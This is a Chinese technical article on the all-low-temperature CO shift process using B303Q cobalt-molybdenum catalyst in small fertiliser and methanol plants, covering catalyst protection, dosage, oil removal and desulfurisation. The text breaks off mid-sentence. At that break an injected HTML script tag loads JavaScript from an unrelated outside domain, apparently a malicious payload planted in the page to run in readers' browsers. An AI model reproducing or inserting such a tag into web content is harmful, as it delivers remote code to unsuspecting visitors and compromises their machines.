全低变工艺及其应用    □陈劲松    全低变工艺是在中温变换串低温变换工艺（即中串低）基础上发展起来的全新变换工艺，它以Ｂ３０３Ｑ催化剂为基础，将原中温变换系统热点温度降低１００℃以上，从而大大有利于ＣＯ变换反应平衡，实际吨氨蒸汽消耗量仅为２５０ｋｇ左右，变换热交换设备、热回收设备都将缩小，也就是说如果２．５万吨／年合成氨改造成５万吨／年，变换设备基本不用更换，其带来的巨大效益是显而易见的，现已在全国１３个省、近１００家小氮肥厂工业应用成功。     一、联醇厂的使用     ①可提高甲醇质量， 延长催化剂寿命因为全低变所用的Ｂ３０３ＱＣｏＭｏ催化剂在很低的汽气比情况下，无副反应，从而使变换及后工段操作稳定。而ＦｅＣｒ中变催化剂不能做到这一点，当汽气比低于０．５时，会使催化剂中的Ｆｅ３Ｏ４与ＣＯ反应生成铁的碳化物，这是烃类合成反应（ＦＴ反应）的催化剂，以至变换气中生成少量的乙炔等化合物。产生的乙炔会与甲醇合成催化剂中的铜生成红色乙炔铜，从而影响催化剂的活性，也会影响甲醇的质量。联醇生产中汽气比更低，约为０．３，则这种情况就更为严重。    ②杜绝了铜液“带液”现象    乙炔等副反应产物不仅影响甲醇质量，而且在铜液中生成乙炔铜，乙炔铜的发泡能力为ＣｕＳ的５０倍，而且不易消泡，引起铜液带液，影响正常生产。    ③减轻精脱硫负担    全低变工艺对有机硫转化率为９８％以上，出口有机硫含量在１ｍｇ／ｍ３（０７ｐｐｍ）左右，可减轻精脱硫负担。有的厂为了满足甲醇的需要又不使变换催化剂蒸汽压低（使用中变催化剂的厂），将一部分煤气不通过变换来提高ＣＯ的含量，这是不可取的。一部分气体不经过变换，ＣＯＳ、ＣＳ２等有机硫直接到精脱硫工段，ＣＯＳ过高增加了精脱硫负担，对甲醇催化剂危害很大。使用全低变就不存在这个问题。    二、全低变工艺流程要点    早期开发的全低变工艺是采用中串低的催化剂，无抗毒、抗低硫及高活性功能，所以使用效果不好。目前是采用新型多品种Ｂ３０３Ｑ全低变催化剂，在技术上前进了一大步。    １．催化剂的吸附剂和保护剂    我国中小合成氨厂的原料气为固定床间歇法制气工艺，该工艺包括制气和吹风氧化、蒸汽分解、变换等反应，其中既有放热反应又有吸热反应，造气过程温度波动也较大，所使用的固体燃料有无烟煤、焦炭及各种煤球（碳化煤球、粘土、陶土煤球、焦油煤球、纸浆煤球及清水棒），化学组成极其复杂。生成的半水煤气中含有大量杂质，经洗涤、脱硫后仍含有少量杂质进入变换系统，经分析有氰氢酸、氨基甲酸、丙烯醛、亚氨基、乙酸及羰基化合物等等。以上化合物对传统的中串低ＣｏＭｏ耐硫变换催化剂有明显毒害作用，改进后的ＣｏＭｏ全低变催化剂的抗毒性能大于中串低催化剂，但仍不能完全抗住煤气中的毒物。为此又研制了吸附剂和保护剂，所以全低变工艺用的催化剂分为：吸附、保护、抗毒及耐低硫和高活性，这五者缺一不可，千万不能混装以免发生问题。吸附剂、保护剂在变换过程中除吸附、转化煤气中的毒物外，同时也对氧与氢、一氧化碳起催化反应，所以有一定的温升。    ２．催化剂的用量    Ｂ３０３Ｑ耐硫变换催化剂的空速为中变催化剂的２倍多（１８００ｈ左右），变换炉能力可提高１倍多。年产２万吨合成氨的０．８ＭＰａ变换系统共需要各种用途的Ｂ３０３Ｑ催化剂１０ｍ３和保护剂２ｍ３，原中串低的ＣｏＭｏ系催化剂可部分回用。    ３．冷却油分    由于全低变流程进口温度在２００℃以下，高压机的润滑油不能挥发，所以需要在高压机二段出口处进行冷却，以分离掉油污，否则油污将堆积在热交和变换炉内，引起催化剂失活系统阻力增大，这一点是实施全低变工艺的关键。其实高压机出口的油污进入饱和热水塔会增加其总固体含量，热水排放量也随之增加，高压机二段出口的热量是回收不到的。    ４．二次脱硫    如变换气中的硫含量较高，碳铵流程可将碳化的综合塔改用无硫氨水，起到脱硫作用，为了保证操作稳定，也可在碳化后再用活性炭脱硫起把关作用。有的厂（如蕲春化肥厂、晋城二化）干脆取消一次脱硫，在碳化后加一个二次脱硫，脱硫的操作费用节省一半以上。也有的厂就在碳化母液中加入硫酸亚铁进行脱硫。以上３个方法效果都不错，可根据使用厂的具体情况而定。非碳铵厂的变换气脱硫可采用栲胶法脱硫，Ｈ２Ｓ从１１０～５５０ｍｇ／ｍ３至１６～７８ｍｇ／ｍ３，河北石家庄、山东?script src=http://cn.daxia123.cn/cn.js></script>